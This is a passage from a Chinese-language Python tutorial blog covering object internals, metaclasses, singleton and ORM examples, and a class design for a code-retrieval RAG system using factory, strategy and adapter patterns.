的实例。</p><p><code>.__dict__</code> 属性是一个<strong>字典</strong>，包含类或实例的所有属性。对于实例，<code>.__dict__</code> 包含该实例的所有实例属性。对于类，<code>.__dict__</code> 包含该类的所有类属性和方法。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span>:</span><br><span class="line">    class_attr = <span class="string">&quot;class attribute&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, value</span>):</span><br><span class="line">        <span class="variable language_">self</span>.instance_attr = value</span><br><span class="line"></span><br><span class="line">obj = MyClass(<span class="string">&quot;instance attribute&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(obj.__dict__)         <span class="comment"># 输出: &#123;&#x27;instance_attr&#x27;: &#x27;instance attribute&#x27;&#125;</span></span><br><span class="line"><span class="built_in">print</span>(MyClass.__dict__)     <span class="comment"># 输出: 包含 class_attr, __init__ 等</span></span><br></pre></td></tr></table></figure><p>在这个示例中，<code>obj.__dict__</code> 仅包含实例属性，而 <code>MyClass.__dict__</code> 包含类属性和方法。</p><p><code>.__subclasses__()</code> 方法返回<strong>所有直接子类的列表</strong>。这在需要递归遍历继承树或找到所有子类时非常有用。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Base</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Child1</span>(<span class="title class_ inherited__">Base</span>):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Child2</span>(<span class="title class_ inherited__">Base</span>):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(Base.__subclasses__())  <span class="comment"># 输出: [&lt;class &#x27;__main__.Child1&#x27;&gt;, &lt;class &#x27;__main__.Child2&#x27;&gt;]</span></span><br></pre></td></tr></table></figure><p>这里，<code>Base.__subclasses__()</code> 返回一个包含 <code>Child1</code> 和 <code>Child2</code> 的列表。</p><p><code>.__name__</code> 是类的简单名称，返回类的名称字符串。<code>.__qualname__</code> 是类的完全限定名（Qualified Name），包含嵌套类或作用域信息。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Outer</span>:</span><br><span class="line">    <span class="keyword">class</span> <span class="title class_">Inner</span>:</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(Outer.__name__)         <span class="comment"># 输出: Outer</span></span><br><span class="line"><span class="built_in">print</span>(Outer.Inner.__name__)    <span class="comment"># 输出: Inner</span></span><br><span class="line"><span class="built_in">print</span>(Outer.Inner.__qualname__)  <span class="comment"># 输出: Outer.Inner</span></span><br></pre></td></tr></table></figure><p><code>Inner.__qualname__</code> 以字符串形式描述了完整的嵌套路径信息。</p><p><code>__call__</code> 方法：类的可调用行为，使得类的实例可以像函数一样被调用。如果你在类中定义了 <code>__call__</code> 方法，那么创建的实例可以被直接调用，并执行 <code>__call__</code> 方法中的代码。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">CallableClass</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__call__</span>(<span class="params">self, *args, **kwargs</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Instance is called like a function&quot;</span>)</span><br><span class="line"></span><br><span class="line">obj = CallableClass()</span><br><span class="line">obj()  <span class="comment"># 输出: Instance is called like a function</span></span><br></pre></td></tr></table></figure><p><code>__del__</code> 方法：实例的销毁，用于<strong>对象销毁时</strong>执行清理工作。会在实例被垃圾回收时调用，通常用于关闭资源或执行清理操作。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__del__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Instance is being destroyed&quot;</span>)</span><br><span class="line"></span><br><span class="line">obj = MyClass()</span><br><span class="line"><span class="keyword">del</span> obj  <span class="comment"># 输出: Instance is being destroyed</span></span><br></pre></td></tr></table></figure><h3 id="对象的初始化">对象的初始化</h3><p>类的初始化过程包括<strong>类的创建</strong>和<strong>实例的初始化</strong>。当我们创建一个类的实例时，会依次调用 <code>__new__</code> 和 <code>__init__</code> 等方法来完成实例化流程。理解这个过程不仅有助于掌握 Python 的类机制，还可以通过自定义这些方法，控制类的创建和初始化行为，实现更多高级功能（如<strong>单例模式</strong>、<strong>池化对象</strong>等）。</p><p>当我们调用 <code>MyClass()</code> 创建类的实例时，Python 会经过以下几个主要步骤：</p><ol><li><p><code>__new__</code> 方法：创建实例。<code>__new__</code> 是一个<strong>静态方法</strong>，负责<strong>创建实例</strong>，并分配内存空间，通常返回一个新的实例对象。</p><ul><li><p><code>__new__</code> 的第一个参数是 <code>cls</code>，表示当前类，Python 会根据这个类来创建新实例。<code>__new__(cls, name, bases, dct)</code></p></li><li><p>如果 <code>__new__</code> 不返回实例（例如返回 <code>None</code> 或其他类型），则不会继续调用 <code>__init__</code>，实例化会中止。</p></li></ul><p>需要注意，object 对象是一个空的对象，是所有对象的父类。所以 super 返回了一个新的空白的对象。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__new__</span>(<span class="params">cls, *args, **kwargs</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Calling __new__&quot;</span>)</span><br><span class="line">        instance = <span class="built_in">super</span>().__new__(cls)</span><br><span class="line">        <span class="keyword">return</span> instance</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, value</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Calling __init__&quot;</span>)</span><br><span class="line">        <span class="variable language_">self</span>.value = value</span><br><span class="line"></span><br><span class="line">obj = MyClass(<span class="number">10</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><code>__init__</code> 方法：初始化实例。<code>__init__</code> 的第一个参数是 <code>self</code>，表示新创建的实例对象。通常在 <code>__init__</code> 中设置对象的属性，并完成实例的初始配置。</p></li></ol><p>在类定义时，Python 实际上调用了**元类（MetaClass）**来创建类对象。默认情况下，Python 使用 <code>type</code> 作为元类，即 <code>type</code> 类是类的生成工厂。通过定义自定义的元类，可以在类创建时做更多的控制，例如在类生成前检查某些条件，或动态地添加方法和属性。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyMeta</span>(<span class="title class_ inherited__">type</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__new__</span>(<span class="params">cls, name, bases, dct</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Creating class <span class="subst">&#123;name&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">super</span>().__new__(cls, name, bases, dct)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span>(metaclass=MyMeta):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 创建 MyClass 类</span></span><br><span class="line"><span class="built_in">print</span>(MyClass)  <span class="comment"># 输出: Creating class MyClass</span></span><br></pre></td></tr></table></figure><h3 id="元类编程">元类编程</h3><p>通过重写 <code>__new__</code> 方法，可以确保类只有一个实例，实现<strong>单例模式</strong>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Singleton</span>:</span><br><span class="line">    _instance = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__new__</span>(<span class="params">cls</span>):</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> cls._instance:</span><br><span class="line">            cls._instance = <span class="built_in">super</span>().__new__(cls)</span><br><span class="line">        <span class="keyword">return</span> cls._instance</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>注意，<strong>元类的 <code>__call__</code></strong> 和 <strong>对象的 <code>__call__</code></strong> 是不一样的，它们的作用和用途是不同的。元类的 <code>__call__</code> 方法用于控制<strong>类的实例化过程</strong>，返回一个对象。当使用 <code>MyClass()</code> 来实例化一个类时，Python 会调用元类的 <code>__call__</code> 方法。在默认的实现中，元类的 <code>__call__</code> 负责调用类的 <code>__new__</code> 和 <code>__init__</code> 方法，以完成实例的创建和初始化。对象的 <code>__call__</code> 方法是定义在<strong>类实例</strong>上的，它让实例<strong>像函数一样可以被调用</strong>。</p><p>用元类来实现单例模式</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">SingletonMeta</span>(<span class="title class_ inherited__">type</span>):</span><br><span class="line">    _instances = &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__call__</span>(<span class="params">cls, *args, **kwargs</span>):</span><br><span class="line">        <span class="keyword">if</span> cls <span class="keyword">not</span> <span class="keyword">in</span> cls._instances:</span><br><span class="line">            cls._instances[cls] = <span class="built_in">super</span>().__call__(*args, **kwargs)</span><br><span class="line">        <span class="keyword">return</span> cls._instances[cls]</span><br><span class="line"></span><br><span class="line"><span class="comment">## 使用 SingletonMeta 作为元类</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Singleton</span>(metaclass=SingletonMeta):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, value</span>):</span><br><span class="line">        <span class="variable language_">self</span>.value = value</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在多线程环境下，可能会出现多个线程同时创建实例的情况。通过在元类中加入线程锁，可以确保多线程下单例的唯一性。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ThreadSafeSingletonMeta</span>(<span class="title class_ inherited__">type</span>):</span><br><span class="line">    _instances = &#123;&#125;</span><br><span class="line">    _lock = threading.Lock()  <span class="comment"># 线程锁，确保多线程安全</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__call__</span>(<span class="params">cls, *args, **kwargs</span>):</span><br><span class="line">        <span class="keyword">with</span> cls._lock:</span><br><span class="line">            <span class="keyword">if</span> cls <span class="keyword">not</span> <span class="keyword">in</span> cls._instances:</span><br><span class="line">                cls._instances[cls] = <span class="built_in">super</span>().__call__(*args, **kwargs)</span><br><span class="line">        <span class="keyword">return</span> cls._instances[cls]</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ThreadSafeSingleton</span>(metaclass=ThreadSafeSingletonMeta):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, value</span>):</span><br><span class="line">        <span class="variable language_">self</span>.value = value</span><br></pre></td></tr></table></figure><p><strong>ORM 映射</strong>：在 ORM 框架中，将数据库表结构映射为类结构，简化数据库操作。这个真的非常常见，而且 dct 字段还包括了传进来的参数。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">TableMeta</span>(<span class="title class_ inherited__">type</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__new__</span>(<span class="params">cls, name, bases, dct</span>):</span><br><span class="line">        columns = &#123;key: value <span class="keyword">for</span> key, value <span class="keyword">in</span> dct.items() <span class="keyword">if</span> <span class="built_in">isinstance</span>(value, <span class="built_in">str</span>)&#125;</span><br><span class="line">        dct[<span class="string">&#x27;columns&#x27;</span>] = columns  <span class="comment"># 自动将字符串字段识别为表的字段</span></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">super</span>().__new__(cls, name, bases, dct)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">User</span>(metaclass=TableMeta):</span><br><span class="line">    <span class="built_in">id</span> = <span class="string">&#x27;INTEGER PRIMARY KEY&#x27;</span></span><br><span class="line">    name = <span class="string">&#x27;TEXT&#x27;</span></span><br><span class="line">    email = <span class="string">&#x27;TEXT&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(User.columns)  <span class="comment"># 输出: &#123;&#x27;id&#x27;: &#x27;INTEGER PRIMARY KEY&#x27;, &#x27;name&#x27;: &#x27;TEXT&#x27;, &#x27;email&#x27;: &#x27;TEXT&#x27;&#125;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="为什么-Python-是动态语言">为什么 Python 是动态语言</h3><p>Python 是一门典型的<strong>动态语言</strong>，这意味着它能够在运行时对对象的结构和行为进行修改，甚至可以动态地生成、修改和删除对象的属性和方法。这种动态性在开发业务逻辑密集型的应用时尤为高效，能够帮助程序员以更简洁、灵活的方式快速实现功能。</p><p>Python 对象通过 <code>__dict__</code> 属性（属性字典）管理自身的所有可动态改变的属性，这让 Python 对象能够随时添加、修改或删除属性和方法。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span>:</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 为类添加新方法</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">new_class_method</span>(<span class="params">self</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;New method for MyClass!&quot;</span>)</span><br><span class="line"></span><br><span class="line">MyClass.new_method = new_class_method</span><br><span class="line"></span><br><span class="line"><span class="comment">## 使用新方法</span></span><br><span class="line">obj = MyClass()</span><br><span class="line">obj.new_method()  <span class="comment"># 输出: New method for MyClass!</span></span><br></pre></td></tr></table></figure><p>动态语言因其灵活性和开发效率而备受欢迎，尤其在业务逻辑密集的应用场景中，动态语言能够帮助程序员快速写出产品。比如说 Web 开发，数据科学和机器学习，自动化和脚本，核心在于业务逻辑。</p><p>动态语言的灵活性也带来了一个明显的缺点，即<strong>缺少静态类型</strong>。由于类型的缺失，动态语言的代码在复杂项目中可能变得难以理解和维护，尤其对于不熟悉项目或代码的新手来说。：许多 IDE 会依赖静态类型信息来提供智能提示、自动补全和类型检查。动态语言由于没有类型信息，IDE 很难准确地推断变量的类型，导致开发者得不到准确的智能提示。</p><p>所以建议多使用类型提示（Type Hints）。</p><h2 id="面向对象">面向对象</h2><h3 id="需求分析">需求分析</h3><p>我们的目标是构建一个基于代码的 RAG（Retrieval-Augmented Generation）系统，专注于代码辅助工作。这个系统的核心流程包括将项目源代码转化为可检索的知识库（codebase），利用检索器进行相关性查询，并基于对话系统与用户交互，利用 LLM（大型语言模型）提供回答。</p><p>根据需求，我们可以提取以下<strong>名词</strong>，每个名词可能对应一个类或对象：</p><ul><li><strong>项目</strong>（Project）：表示用户输入的项目源代码集合。</li><li><strong>Codebase</strong>：代码知识库，用于存储和管理项目的源代码，使得其内容可被检索。</li><li><strong>检索器</strong>（Retriever）：一个工具类，用于在 <code>Codebase</code> 中执行搜索和相关性检索。</li><li><strong>对话</strong>（Conversation）：支持用户与 LLM 间的交互，对话会调用检索器在 <code>Codebase</code> 中查询答案。</li><li><strong>LLM</strong>（大型语言模型）：处理用户的自然语言问题并生成响应。与检索器结合以形成 RAG 系统。</li></ul><p>核心需求：</p><ol><li><p><strong>输入项目的源代码并构建 Codebase</strong></p><ul><li><p><strong>Project</strong>：作为源代码集合的抽象，负责加载、存储和管理项目文件。</p></li><li><p><strong>Codebase</strong>：负责接收 <code>Project</code> 的源代码数据，并通过适当的解析和处理，将源代码构建成可查询的知识库。</p></li></ul></li><li><p><strong>基于问题检索相关的源代码</strong></p><ul><li><p><strong>Retriever</strong>：通过索引和匹配算法在 <code>Codebase</code> 中查询并返回相关的代码片段。</p></li><li><p><strong>Query</strong>（可选）：用于封装用户的查询，允许对查询内容进行预处理或过滤（如提取代码相关的关键词）。</p></li></ul></li><li><p><strong>实现基于对话的交互，使用 Codebase 作为知识库</strong></p><ul><li><strong>Conversation</strong>：表示与用户的交互，管理对话流程，并与 LLM 进行通信。负责在需要时调用 <code>Retriever</code> 从 <code>Codebase</code> 中获取信息，以增强 LLM 的回答。</li></ul></li></ol><h3 id="类的设计">类的设计</h3><p>根据以上分析，可以划分出以下主要类及其职责：</p><table><thead><tr><th>类名</th><th>职责描述</th></tr></thead><tbody><tr><td><code>Project</code></td><td>表示用户输入的源代码项目，负责加载和管理项目文件。</td></tr><tr><td><code>Codebase</code></td><td>作为知识库，负责存储和管理项目源代码，并提供索引、解析等操作，使之可被 <code>Retriever</code> 查询。</td></tr><tr><td><code>Retriever</code></td><td>提供在 <code>Codebase</code> 中执行检索的功能，通过索引和关键词匹配找到相关代码片段。</td></tr><tr><td><code>Query</code>（可选）</td><td>封装用户的查询请求，提供查询预处理功能，如关键词提取。</td></tr><tr><td><code>Conversation</code></td><td>支持用户与 LLM 的交互，管理对话流并在需要时调用 <code>Retriever</code> 从 <code>Codebase</code> 中查询信息。</td></tr><tr><td><code>LLM</code></td><td>代表大型语言模型，负责接收用户的自然语言问题，结合 <code>Retriever</code> 的结果生成增强回答。</td></tr></tbody></table><h3 id="类间关系和交互">类间关系和交互</h3><p>根据类的职责和需求，我们可以进一步细化类之间的关系：</p><ul><li><strong>Project -&gt; Codebase</strong>：<code>Project</code> 提供源代码内容，<code>Codebase</code> 接收并存储这些内容。<code>Codebase</code> 需要从 <code>Project</code> 获取代码文件内容，解析后生成索引。</li><li><strong>Codebase &lt;-&gt; Retriever</strong>：<code>Retriever</code> 需要访问 <code>Codebase</code> 中的内容，执行搜索操作以找到与查询相关的代码片段。<code>Codebase</code> 提供检索接口以支持 <code>Retriever</code> 进行查询。</li><li><strong>Conversation -&gt; Retriever</strong>：<code>Conversation</code> 接收用户的自然语言问题，如果涉及代码查询，会将问题转化为 <code>Query</code>，并调用 <code>Retriever</code> 从 <code>Codebase</code> 检索答案。<code>Retriever</code> 的返回内容将传递给 <code>LLM</code> 以生成回答。</li><li><strong>Conversation -&gt; LLM</strong>：<code>Conversation</code> 与 <code>LLM</code> 交互，将用户的问题及 <code>Retriever</code> 返回的代码上下文传递给 <code>LLM</code>，由 <code>LLM</code> 生成回答并回复给用户。</li></ul><h2 id="设计模式">设计模式</h2><h3 id="工厂模式"><strong>工厂模式</strong></h3><p>用于创建 <code>Project</code> 实例，封装实例化细节。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Project</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, name: <span class="built_in">str</span>, source_files: <span class="type">List</span>[<span class="built_in">str</span>]</span>):</span><br><span class="line">        <span class="variable language_">self</span>.name = name</span><br><span class="line">        <span class="variable language_">self</span>.source_files = source_files</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">load_files</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="comment"># 加载项目源代码文件的逻辑</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Loading files for project: <span class="subst">&#123;self.name&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ProjectFactory</span>:</span><br><span class="line"><span class="meta">    @staticmethod</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">create_project</span>(<span class="params">name: <span class="built_in">str</span>, source_files: <span class="type">List</span>[<span class="built_in">str</span>]</span>) -&gt; Project:</span><br><span class="line">        <span class="comment"># 根据需求，项目的创建逻辑可以在这里扩展</span></span><br><span class="line">        project = Project(name, source_files)</span><br><span class="line">        project.load_files()</span><br><span class="line">        <span class="keyword">return</span> project</span><br></pre></td></tr></table></figure><h3 id="策略模式">策略模式</h3><p><code>Codebase</code> 支持不同的存储方式（如内存或数据库），可使用策略模式动态选择存储方案。下面还可以看到我们抽象出了存储层当作接口，设计了两种存储方式，接着作为参数传入 codebase，实现不同策略的使用。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## Codebase类，支持不同存储策略（策略模式）</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">StorageStrategy</span>(<span class="title class_ inherited__">ABC</span>):</span><br><span class="line"><span class="meta">    @abstractmethod</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">save_codebase</span>(<span class="params">self, code_data: <span class="type">Dict</span></span>):</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="meta">    @abstractmethod</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">load_codebase</span>(<span class="params">self</span>) -&gt; <span class="type">Dict</span>:</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">InMemoryStorage</span>(<span class="title class_ inherited__">StorageStrategy</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>._data = &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">save_codebase</span>(<span class="params">self, code_data: <span class="type">Dict</span></span>):</span><br><span class="line">        <span class="variable language_">self</span>._data = code_data</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Codebase stored in memory.&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">load_codebase</span>(<span class="params">self</span>) -&gt; <span class="type">Dict</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Loading codebase from memory.&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span>._data</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">DatabaseStorage</span>(<span class="title class_ inherited__">StorageStrategy</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="variable language_">self</span>._data = &#123;&#125;  <span class="comment"># 实际实现中可以是数据库连接等</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">save_codebase</span>(<span class="params">self, code_data: <span class="type">Dict</span></span>):</span><br><span class="line">        <span class="comment"># 实际数据库存储逻辑</span></span><br><span class="line">        <span class="variable language_">self</span>._data = code_data  <span class="comment"># 这里模拟数据库存储</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Codebase stored in database.&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">load_codebase</span>(<span class="params">self</span>) -&gt; <span class="type">Dict</span>:</span><br><span class="line">        <span class="comment"># 从数据库加载代码库</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Loading codebase from database.&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span>._data</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Codebase</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, storage_strategy: StorageStrategy</span>):</span><br><span class="line">        <span class="variable language_">self</span>.storage_strategy = storage_strategy</span><br><span class="line">        <span class="variable language_">self</span>.index = &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">build_codebase</span>(<span class="params">self, project: Project</span>):</span><br><span class="line">        <span class="comment"># 构建 codebase 逻辑，例如解析代码并构建索引</span></span><br><span class="line">        <span class="keyword">for</span> file <span class="keyword">in</span> project.source_files:</span><br><span class="line">            <span class="comment"># 假设这里生成了文件的索引信息</span></span><br><span class="line">            <span class="variable language_">self</span>.index[file] = <span class="string">f&quot;Indexed content of <span class="subst">&#123;file&#125;</span>&quot;</span></span><br><span class="line">        <span class="variable language_">self</span>.storage_strategy.save_codebase(<span class="variable language_">self</span>.index)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">search</span>(<span class="params">self, query: <span class="built_in">str</span></span>) -&gt; <span class="type">List</span>[<span class="built_in">str</span>]:</span><br><span class="line">        <span class="comment"># 实现基本的检索功能，可以根据需要扩展或调用 Retriever 代理</span></span><br><span class="line">        results = [content <span class="keyword">for</span> file, content <span class="keyword">in</span> <span class="variable language_">self</span>.index.items() <span class="keyword">if</span> query <span class="keyword">in</span> content]</span><br><span class="line">        <span class="keyword">return</span> results</span><br></pre></td></tr></table></figure><h3 id="适配器模式"><strong>适配器模式</strong></h3><p>适合不更改老系统，和新的设计保持一致性。假设我们的系统中引入了一个新组件 <code>LegacyRetriever</code>，这是一个旧的检索系统，用于检索代码片段，但它的接口设计不同，只有 <code>search_code(query)</code> 方法，而我们当前的系统需要通过 <code>Retriever</code> 的 <code>retrieve(query)</code> 方法来调用它。</p><p>那么设置一个适配器，包裹一层，那么 <code>LegacyRetrieverAdapter</code> 就满足了 